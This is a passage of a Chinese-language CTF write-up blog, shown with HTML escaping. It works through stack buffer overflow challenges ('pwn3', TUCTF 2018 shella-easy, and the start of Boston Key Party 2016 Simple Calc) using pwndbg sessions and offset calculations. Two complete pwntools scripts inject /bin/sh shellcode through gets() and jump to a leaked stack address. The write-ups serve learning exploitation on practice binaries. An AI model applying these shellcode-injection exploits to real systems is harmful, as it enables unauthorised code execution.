   0x000005e7 &amp;lt;+4&amp;gt;: and    esp,0xfffffff0
   0x000005ea &amp;lt;+7&amp;gt;: push   DWORD PTR [ecx-0x4]
   0x000005ed &amp;lt;+10&amp;gt;: push   ebp
   0x000005ee &amp;lt;+11&amp;gt;: mov    ebp,esp
   0x000005f0 &amp;lt;+13&amp;gt;: push   ebx
   0x000005f1 &amp;lt;+14&amp;gt;: push   ecx
   0x000005f2 &amp;lt;+15&amp;gt;: call   0x629 &amp;lt;__x86.get_pc_thunk.ax&amp;gt;
   0x000005f7 &amp;lt;+20&amp;gt;: add    eax,0x19d5
   0x000005fc &amp;lt;+25&amp;gt;: mov    edx,DWORD PTR [eax+0x28]
   0x00000602 &amp;lt;+31&amp;gt;: mov    edx,DWORD PTR [edx]
   0x00000604 &amp;lt;+33&amp;gt;: push   0x0
   0x00000606 &amp;lt;+35&amp;gt;: push   0x0
   0x00000608 &amp;lt;+37&amp;gt;: push   0x2
   0x0000060a &amp;lt;+39&amp;gt;: push   edx
   0x0000060b &amp;lt;+40&amp;gt;: mov    ebx,eax
   0x0000060d &amp;lt;+42&amp;gt;: call   0x440 &amp;lt;setvbuf@plt&amp;gt;
   0x00000612 &amp;lt;+47&amp;gt;: add    esp,0x10
   0x00000615 &amp;lt;+50&amp;gt;: call   0x59d &amp;lt;echo&amp;gt;
   0x0000061a &amp;lt;+55&amp;gt;: mov    eax,0x0
   0x0000061f &amp;lt;+60&amp;gt;: lea    esp,[ebp-0x8]
   0x00000622 &amp;lt;+63&amp;gt;: pop    ecx
   0x00000623 &amp;lt;+64&amp;gt;: pop    ebx
   0x00000624 &amp;lt;+65&amp;gt;: pop    ebp
   0x00000625 &amp;lt;+66&amp;gt;: lea    esp,[ecx-0x4]
   0x00000628 &amp;lt;+69&amp;gt;: ret
End of assembler dump.
pwndbg&amp;gt; disass echo
Dump of assembler code for function echo:
   0x0000059d &amp;lt;+0&amp;gt;: push   ebp
   0x0000059e &amp;lt;+1&amp;gt;: mov    ebp,esp
   0x000005a0 &amp;lt;+3&amp;gt;: push   ebx
   0x000005a1 &amp;lt;+4&amp;gt;: sub    esp,0x134
   0x000005a7 &amp;lt;+10&amp;gt;: call   0x4a0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;
   0x000005ac &amp;lt;+15&amp;gt;: add    ebx,0x1a20
   0x000005b2 &amp;lt;+21&amp;gt;: sub    esp,0x8
   0x000005b5 &amp;lt;+24&amp;gt;: lea    eax,[ebp-0x12a]
   0x000005bb &amp;lt;+30&amp;gt;: push   eax
   0x000005bc &amp;lt;+31&amp;gt;: lea    eax,[ebx-0x191c]
   0x000005c2 &amp;lt;+37&amp;gt;: push   eax
   0x000005c3 &amp;lt;+38&amp;gt;: call   0x410 &amp;lt;printf@plt&amp;gt;
   0x000005c8 &amp;lt;+43&amp;gt;: add    esp,0x10
   0x000005cb &amp;lt;+46&amp;gt;: sub    esp,0xc
   0x000005ce &amp;lt;+49&amp;gt;: lea    eax,[ebp-0x12a]
   0x000005d4 &amp;lt;+55&amp;gt;: push   eax
   0x000005d5 &amp;lt;+56&amp;gt;: call   0x420 &amp;lt;gets@plt&amp;gt;
   0x000005da &amp;lt;+61&amp;gt;: add    esp,0x10
   0x000005dd &amp;lt;+64&amp;gt;: nop
   0x000005de &amp;lt;+65&amp;gt;: mov    ebx,DWORD PTR [ebp-0x4]
   0x000005e1 &amp;lt;+68&amp;gt;: leave
   0x000005e2 &amp;lt;+69&amp;gt;: ret
End of assembler dump.
pwndbg&amp;gt; b *echo+38
Breakpoint 1 at 0x5c3
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/CTF/pwn3
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/usr/lib/libthread_db.so.1&quot;.

Breakpoint 1, 0x565555c3 in echo ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
*EAX  0x565556b0 ◂— push esp /* &apos;Take this, you might need it on your journey %p!\n&apos; */
*EBX  0x56556fcc (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ed4
 ECX  0x0
*EDX  0xf7f948a0 ◂— 0x0
*EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
*ESI  0x56555630 (__libc_csu_init) ◂— push ebp
*EBP  0xffffd5c8 —▸ 0xffffd5d8 ◂— 0x0
*ESP  0xffffd480 —▸ 0x565556b0 ◂— push esp /* &apos;Take this, you might need it on your journey %p!\n&apos; */
*EIP  0x565555c3 (echo+38) —▸ 0xfffe48e8 ◂— 0x0
────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x565555c3 &amp;lt;echo+38&amp;gt;    call   56555410h                     &amp;lt;printf@plt&amp;gt;
        format: 0x565556b0 ◂— &apos;Take this, you might need it on your journey %p!\n&apos;
        vararg: 0xffffd49e ◂— 0x80000

   0x565555c8 &amp;lt;echo+43&amp;gt;    add    esp, 10h
   0x565555cb &amp;lt;echo+46&amp;gt;    sub    esp, 0ch
   0x565555ce &amp;lt;echo+49&amp;gt;    lea    eax, [ebp - 12ah]
   0x565555d4 &amp;lt;echo+55&amp;gt;    push   eax
   0x565555d5 &amp;lt;echo+56&amp;gt;    call   56555420h                     &amp;lt;gets@plt&amp;gt;

   0x565555da &amp;lt;echo+61&amp;gt;    add    esp, 10h
   0x565555dd &amp;lt;echo+64&amp;gt;    nop
   0x565555de &amp;lt;echo+65&amp;gt;    mov    ebx, dword ptr [ebp - 4]
   0x565555e1 &amp;lt;echo+68&amp;gt;    leave
   0x565555e2 &amp;lt;echo+69&amp;gt;    ret
────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd480 —▸ 0x565556b0 ◂— push esp /* &apos;Take this, you might need it on your journey %p!\n&apos; */
01:0004│-144 0xffffd484 —▸ 0xffffd49e ◂— 0x80000
02:0008│-140 0xffffd488 ◂— 0xffffffff
03:000c│-13c 0xffffd48c —▸ 0x565555ac (echo+15) ◂— add ebx, 1a20h
04:0010│-138 0xffffd490 ◂— 0x100
05:0014│-134 0xffffd494 ◂— 0x0
06:0018│-130 0xffffd498 ◂— 0x40 /* &apos;@&apos; */
07:001c│-12c 0xffffd49c ◂— 0x8000
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────
 ► 0 0x565555c3 echo+38
   1 0x5655561a main+55
   2 0xf7d84bd7
   3 0xf7d84c9d __libc_start_main+141
   4 0x56555491 _start+49
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; x/s $ebp-0x12a
0xffffd49e: &quot;&quot;
pwndbg&amp;gt; x/s $ebx-0x191c
0x565556b0: &quot;Take this, you might need it on your journey %p!\n&quot;
pwndbg&amp;gt; cyclic 300
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
pwndbg&amp;gt; c
Continuing.
Take this, you might need it on your journey 0xffffd49e!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

Program received signal SIGSEGV, Segmentation fault.
0x56555622 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
*EAX  0x0
*EBX  0x61796361 (&apos;acya&apos;)
*ECX  0xf7f948ac ◂— 0x0
*EDX  0x0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
 ESI  0x56555630 (__libc_csu_init) ◂— push ebp
*EBP  0xff006361
*ESP  0xff006359
*EIP  0x56555622 (main+63) ◂— pop ecx
────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x56555622 &amp;lt;main+63&amp;gt;                    pop    ecx
   0x56555623 &amp;lt;main+64&amp;gt;                    pop    ebx
   0x56555624 &amp;lt;main+65&amp;gt;                    pop    ebp
   0x56555625 &amp;lt;main+66&amp;gt;                    lea    esp, [ecx - 4]
   0x56555628 &amp;lt;main+69&amp;gt;                    ret

   0x56555629 &amp;lt;__x86.get_pc_thunk.ax&amp;gt;      mov    eax, dword ptr [esp]
   0x5655562c &amp;lt;__x86.get_pc_thunk.ax+3&amp;gt;    ret

   0x5655562d &amp;lt;__x86.get_pc_thunk.ax+4&amp;gt;    nop
   0x5655562f &amp;lt;__x86.get_pc_thunk.ax+6&amp;gt;    nop
   0x56555630 &amp;lt;__libc_csu_init&amp;gt;            push   ebp
   0x56555631 &amp;lt;__libc_csu_init+1&amp;gt;          push   edi
────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────
&amp;lt;Could not read memory at 0xff006359&amp;gt;
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────
 ► 0 0x56555622 main+63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; cyclic -l acya
Finding cyclic pattern of 4 bytes: b&apos;acya&apos; (hex: 0x61637961)
Found at offset 294
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里发现一个新的计算偏移量方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; b *echo+56
Breakpoint 1 at 0x5d5
pwndbg&amp;gt; b *echo+61
Breakpoint 2 at 0x5da
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/CTF/pwn3
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/usr/lib/libthread_db.so.1&quot;.
Take this, you might need it on your journey 0xffffd49e!

Breakpoint 1, 0x565555d5 in echo ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
*EAX  0xffffd49e ◂— 0x80000
*EBX  0x56556fcc (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ed4
 ECX  0x0
 EDX  0x0
*EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
*ESI  0x56555630 (__libc_csu_init) ◂— push ebp
*EBP  0xffffd5c8 —▸ 0xffffd5d8 ◂— 0x0
*ESP  0xffffd480 —▸ 0xffffd49e ◂— 0x80000
*EIP  0x565555d5 (echo+56) —▸ 0xfffe46e8 ◂— 0x0
────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────
 ► 0x565555d5 &amp;lt;echo+56&amp;gt;    call   56555420h                     &amp;lt;gets@plt&amp;gt;
        arg[0]: 0xffffd49e ◂— 0x80000
        arg[1]: 0xffffd49e ◂— 0x80000
        arg[2]: 0xffffffff
        arg[3]: 0x565555ac (echo+15) ◂— add ebx, 1a20h

   0x565555da &amp;lt;echo+61&amp;gt;    add    esp, 10h
   0x565555dd &amp;lt;echo+64&amp;gt;    nop
   0x565555de &amp;lt;echo+65&amp;gt;    mov    ebx, dword ptr [ebp - 4]
   0x565555e1 &amp;lt;echo+68&amp;gt;    leave
   0x565555e2 &amp;lt;echo+69&amp;gt;    ret

   0x565555e3 &amp;lt;main&amp;gt;       lea    ecx, [esp + 4]
   0x565555e7 &amp;lt;main+4&amp;gt;     and    esp, 0fffffff0h
   0x565555ea &amp;lt;main+7&amp;gt;     push   dword ptr [ecx - 4]
   0x565555ed &amp;lt;main+10&amp;gt;    push   ebp
   0x565555ee &amp;lt;main+11&amp;gt;    mov    ebp, esp
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ esp   0xffffd480 —▸ 0xffffd49e ◂— 0x80000
01:0004│-144   0xffffd484 —▸ 0xffffd49e ◂— 0x80000
02:0008│-140   0xffffd488 ◂— 0xffffffff
03:000c│-13c   0xffffd48c —▸ 0x565555ac (echo+15) ◂— add ebx, 1a20h
04:0010│-138   0xffffd490 ◂— 0x100
05:0014│-134   0xffffd494 ◂— 0x0
06:0018│-130   0xffffd498 ◂— 0x40 /* &apos;@&apos; */
07:001c│ eax-2 0xffffd49c ◂— 0x8000
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0 0x565555d5 echo+56
   1 0x5655561a main+55
   2 0xf7d84bd7
   3 0xf7d84c9d __libc_start_main+141
   4 0x56555491 _start+49
──────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; c
Continuing.
1234567

Breakpoint 2, 0x565555da in echo ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
 EAX  0xffffd49e ◂— &apos;1234567&apos;
 EBX  0x56556fcc (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ed4
*ECX  0xf7f948ac ◂— 0x0
 EDX  0x0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0x0
 ESI  0x56555630 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd5c8 —▸ 0xffffd5d8 ◂— 0x0
 ESP  0xffffd480 —▸ 0xffffd49e ◂— &apos;1234567&apos;
*EIP  0x565555da (echo+61) ◂— add esp, 10h
────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────
   0x565555d5 &amp;lt;echo+56&amp;gt;    call   56555420h                     &amp;lt;gets@plt&amp;gt;

 ► 0x565555da &amp;lt;echo+61&amp;gt;    add    esp, 10h
   0x565555dd &amp;lt;echo+64&amp;gt;    nop
   0x565555de &amp;lt;echo+65&amp;gt;    mov    ebx, dword ptr [ebp - 4]
   0x565555e1 &amp;lt;echo+68&amp;gt;    leave
   0x565555e2 &amp;lt;echo+69&amp;gt;    ret
    ↓
   0x5655561a &amp;lt;main+55&amp;gt;    mov    eax, 0
   0x5655561f &amp;lt;main+60&amp;gt;    lea    esp, [ebp - 8]
   0x56555622 &amp;lt;main+63&amp;gt;    pop    ecx
   0x56555623 &amp;lt;main+64&amp;gt;    pop    ebx
   0x56555624 &amp;lt;main+65&amp;gt;    pop    ebp
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ esp   0xffffd480 —▸ 0xffffd49e ◂— &apos;1234567&apos;
01:0004│-144   0xffffd484 —▸ 0xffffd49e ◂— &apos;1234567&apos;
02:0008│-140   0xffffd488 ◂— 0xffffffff
03:000c│-13c   0xffffd48c —▸ 0x565555ac (echo+15) ◂— add ebx, 1a20h
04:0010│-138   0xffffd490 ◂— 0x100
05:0014│-134   0xffffd494 ◂— 0x0
06:0018│-130   0xffffd498 ◂— 0x40 /* &apos;@&apos; */
07:001c│ eax-2 0xffffd49c ◂— 0x32318000
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0 0x565555da echo+61
   1 0x5655561a main+55
   2 0xf7d84bd7
   3 0xf7d84c9d __libc_start_main+141
   4 0x56555491 _start+49
──────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; search 1234567
Searching for value: &apos;1234567&apos;
[heap]          0x565581a0 &apos;1234567\n&apos;
libc.so.6       0xf7f17011 0x34333231 (&apos;1234&apos;)
libc.so.6       0xf7f2585e &apos;123456789:;&amp;lt;=&amp;gt;?&apos;
libc.so.6       0xf7f349e3 &apos;123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&apos;
libc.so.6       0xf7f34a41 &apos;123456789abcdefghijklmnopqrstuvwxyz&apos;
libc.so.6       0xf7f34a81 &apos;123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&apos;
libc.so.6       0xf7f34af5 &apos;123456789&apos;
libc.so.6       0xf7f38af1 &apos;123456789abcdef&apos;
ld-linux.so.2   0xf7ff1ebd &apos;123456789abcdef&apos;
[stack]         0xffffd49e &apos;1234567&apos;
pwndbg&amp;gt; i frame
Stack level 0, frame at 0xffffd5d0:
 eip = 0x565555da in echo; saved eip = 0x5655561a
 called by frame at 0xffffd5f0
 Arglist at 0xffffd5c8, args:
 Locals at 0xffffd5c8, Previous frame&apos;s sp is 0xffffd5d0
 Saved registers:
  ebx at 0xffffd5c4, ebp at 0xffffd5c8, eip at 0xffffd5cc
pwndbg&amp;gt; hex(0xffffd5cc-0xffffd49e)
+0000 0x00012e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终偏移量是 &lt;code&gt;0x12e&lt;/code&gt; 而不是 &lt;code&gt;0x126&lt;/code&gt; 的原因是中间还隔着两个四字节寄存器 &lt;code&gt;ebx&lt;/code&gt; 和 &lt;code&gt;ebp&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;i386&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./pwn3&apos;)

recvline    = lambda : target.recvline()
recvuntil   = lambda str : target.recvuntil(str)
sendline    = lambda str : target.sendline(str)
interactive = lambda : target.interactive()

recvuntil(b&apos;journey &apos;)

leak_addr = p32(int(recvuntil(b&apos;!&apos;).strip(b&apos;!\n&apos;), 16))

shellcode = asm(shellcraft.sh())
payload = shellcode + b&apos;A&apos; * (0x12e - len(shellcode)) + leak_addr

sendline(payload)
interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;gigem{r3m073_fl46_3x3cu710n}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;TUCTF 2018 shella-easy&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 345&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Want to be a drive-thru attendant? Well, no one does… But! the best employee receives their very own flag! whatdya say?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file shella-easy
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped
λ ~/ pwn checksec shella-easy
[*] &apos;/home/cub3y0nd/shella-easy&apos;
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./shella-easy
Yeah I&apos;ll have a 0xffe6f1b0 with a side of fries thanks
no way
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [esp+0h] [ebp-48h] BYREF
  int v5; // [esp+40h] [ebp-8h]

  setvbuf(stdout, 0, 2, 0x14u);
  setvbuf(stdin, 0, 2, 0x14u);
  v5 = 0xCAFEBABE;
  printf(&quot;Yeah I&apos;ll have a %p with a side of fries thanks\n&quot;, s);
  gets(s);
  if ( v5 != 0xDEADBEEF )
    exit(0);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一眼出：溢出 &lt;code&gt;s&lt;/code&gt;，覆盖返回地址到 &lt;code&gt;s&lt;/code&gt; 中保存的 shellcode，并且覆盖 &lt;code&gt;v5&lt;/code&gt; 为 &lt;code&gt;0xDEADBEEF&lt;/code&gt; 以让程序正常返回。&lt;/p&gt;
&lt;p&gt;溢出 &lt;code&gt;s&lt;/code&gt; 并覆盖 &lt;code&gt;v5&lt;/code&gt; 很简单，我们看看怎么覆盖返回地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1 at 0x804855a
Breakpoint 2 at 0x8048541

Breakpoint 2, 0x08048541 in main ()
------- tip of the day (disable with set show-tips off) -------
Use GDB&apos;s pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.gdblib.memory.read(addr, len), pwndbg.gdblib.memory.write(addr, data), pwndbg.gdb.vmmap.get() and so on!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
*EAX  0xff8d7200 ◂— 0x2f68686a (&apos;jhh/&apos;)
*EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
*ECX  0xf67138ac ◂— 0x0
*EDX  0x0
*EDI  0xf677bb60 (_rtld_global_ro) ◂— 0x0
*ESI  0x8048560 (__libc_csu_init) ◂— push ebp
*EBP  0xff8d7248 ◂— 0x0
*ESP  0xff8d7200 ◂— 0x2f68686a (&apos;jhh/&apos;)
*EIP  0x8048541 (main+102) ◂— cmp dword ptr [ebp - 8], 0deadbeefh
────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────
 ► 0x8048541  &amp;lt;main+102&amp;gt;    cmp    dword ptr [ebp - 8], 0deadbeefh
   0x8048548  &amp;lt;main+109&amp;gt;    je     8048551h                      &amp;lt;main+118&amp;gt;
    ↓
   0x8048551  &amp;lt;main+118&amp;gt;    mov    eax, 0
   0x8048556  &amp;lt;main+123&amp;gt;    mov    ebx, dword ptr [ebp - 4]
   0x8048559  &amp;lt;main+126&amp;gt;    leave
   0x804855a  &amp;lt;main+127&amp;gt;    ret
    ↓
   0xf6503bd7               add    esp, 10h
   0xf6503bda               sub    esp, 0ch
   0xf6503bdd               push   eax
   0xf6503bde               call   0f651e590h                    &amp;lt;exit&amp;gt;

   0xf6503be3               call   0f6570d20h                    &amp;lt;0xf6570d20&amp;gt;
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ eax esp 0xff8d7200 ◂— 0x2f68686a (&apos;jhh/&apos;)
01:0004│-044     0xff8d7204 ◂— 0x68732f2f (&apos;//sh&apos;)
02:0008│-040     0xff8d7208 ◂— 0x6e69622f (&apos;/bin&apos;)
03:000c│-03c     0xff8d720c ◂— 0x168e389
04:0010│-038     0xff8d7210 ◂— 0x81010101
05:0014│-034     0xff8d7214 ◂— 0x69722434 (&apos;4$ri&apos;)
06:0018│-030     0xff8d7218 ◂— 0xc9310101
07:001c│-02c     0xff8d721c ◂— 0x59046a51
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0 0x8048541 main+102
   1 0xf6503bd7
   2 0xf6503c9d __libc_start_main+141
   3 0x8048401 _start+33
──────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; stack 20
00:0000│ eax esp 0xff8d7200 ◂— 0x2f68686a (&apos;jhh/&apos;)
01:0004│-044     0xff8d7204 ◂— 0x68732f2f (&apos;//sh&apos;)
02:0008│-040     0xff8d7208 ◂— 0x6e69622f (&apos;/bin&apos;)
03:000c│-03c     0xff8d720c ◂— 0x168e389
04:0010│-038     0xff8d7210 ◂— 0x81010101
05:0014│-034     0xff8d7214 ◂— 0x69722434 (&apos;4$ri&apos;)
06:0018│-030     0xff8d7218 ◂— 0xc9310101
07:001c│-02c     0xff8d721c ◂— 0x59046a51
08:0020│-028     0xff8d7220 ◂— 0x8951e101
09:0024│-024     0xff8d7224 ◂— 0x6ad231e1
0a:0028│-020     0xff8d7228 ◂— 0x80cd580b
0b:002c│-01c     0xff8d722c ◂— 0x41414141 (&apos;AAAA&apos;)
... ↓            4 skipped
10:0040│-008     0xff8d7240 ◂— 0xdeadbeef
11:0044│-004     0xff8d7244 —▸ 0xff8d7200 ◂— 0x2f68686a (&apos;jhh/&apos;)
12:0048│ ebp     0xff8d7248 ◂— 0x0
13:004c│+004     0xff8d724c —▸ 0xf6503bd7 ◂— add esp, 10h
pwndbg&amp;gt; c
Continuing.

Breakpoint 1, 0x0804855a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
*EAX  0x0
*EBX  0xff8d7200 ◂— 0x2f68686a (&apos;jhh/&apos;)
 ECX  0xf67138ac ◂— 0x0
 EDX  0x0
 EDI  0xf677bb60 (_rtld_global_ro) ◂— 0x0
 ESI  0x8048560 (__libc_csu_init) ◂— push ebp
*EBP  0x0
*ESP  0xff8d724c —▸ 0xf6503bd7 ◂— add esp, 10h
*EIP  0x804855a (main+127) ◂— ret
────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────
   0x8048551  &amp;lt;main+118&amp;gt;    mov    eax, 0
   0x8048556  &amp;lt;main+123&amp;gt;    mov    ebx, dword ptr [ebp - 4]
   0x8048559  &amp;lt;main+126&amp;gt;    leave
 ► 0x804855a  &amp;lt;main+127&amp;gt;    ret    &amp;lt;0xf6503bd7&amp;gt;
    ↓
   0xf6503bd7               add    esp, 10h
   0xf6503bda               sub    esp, 0ch
   0xf6503bdd               push   eax
   0xf6503bde               call   0f651e590h                    &amp;lt;exit&amp;gt;

   0xf6503be3               call   0f6570d20h                    &amp;lt;0xf6570d20&amp;gt;

   0xf6503be8               mov    eax, dword ptr [esp]
   0xf6503beb               lock sub dword ptr [eax + 290h], 1
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ esp 0xff8d724c —▸ 0xf6503bd7 ◂— add esp, 10h
01:0004│     0xff8d7250 ◂— 0x1
02:0008│     0xff8d7254 —▸ 0xff8d7304 —▸ 0xff8d87c6 ◂— &apos;./shella-easy&apos;
03:000c│     0xff8d7258 —▸ 0xff8d730c —▸ 0xff8d87d4 ◂— &apos;MOTD_SHOWN=pam&apos;
04:0010│     0xff8d725c —▸ 0xff8d7270 —▸ 0xf6711e2c ◂— 0x22ed4c
05:0014│     0xff8d7260 —▸ 0xf6711e2c ◂— 0x22ed4c
06:0018│     0xff8d7264 —▸ 0x80484db (main) ◂— push ebp
07:001c│     0xff8d7268 ◂— 0x1
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0 0x804855a main+127
   1 0xf6503bd7
   2 0xf6503c9d __libc_start_main+141
   3 0x8048401 _start+33
──────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; i frame
Stack level 0, frame at 0xff8d7250:
 eip = 0x804855a in main; saved eip = 0xf6503bd7
 called by frame at 0xff8d72b0
 Arglist at unknown address.
 Locals at unknown address, Previous frame&apos;s sp is 0xff8d7250
 Saved registers:
  eip at 0xff8d724c
pwndbg&amp;gt; hex(0xff8d724c-0xff8d7240)
+0000 0x00000c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由此可知，&lt;code&gt;0xc&lt;/code&gt; 是我们 &lt;code&gt;ret&lt;/code&gt; 和 &lt;code&gt;0xdeadbeef&lt;/code&gt; 之间的距离，因为是 i386，所以我们减四就是偏移量了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;i386&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./shella-easy&apos;)

recvline    = lambda : target.recvline()
recvuntil   = lambda str : target.recvuntil(str)
sendline    = lambda str : target.sendline(str)
interactive = lambda : target.interactive()

recvuntil(b&apos;a &apos;)

leak_addr = p32(int(recvuntil(b&apos; &apos;).strip(b&apos; &apos;), 16))

shellcode = asm(shellcraft.sh())
payload = shellcode + b&apos;A&apos; * (64 - len(shellcode)) + p32(0xdeadbeef) + b&apos;B&apos; * 0x8 + leak_addr

sendline(payload)
interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;TUCTF{1_607_4_fl46_bu7_n0_fr135}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Boston Key Part 2016 Simple Calc&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 5&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;what a nice little calculator!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file simplecalc
simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
λ ~/ pwn checksec simplecalc
[*] &apos;/home/cub3y0nd/simplecalc&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./simplecalc

 |#------------------------------------#|
 |         Something Calculator         |
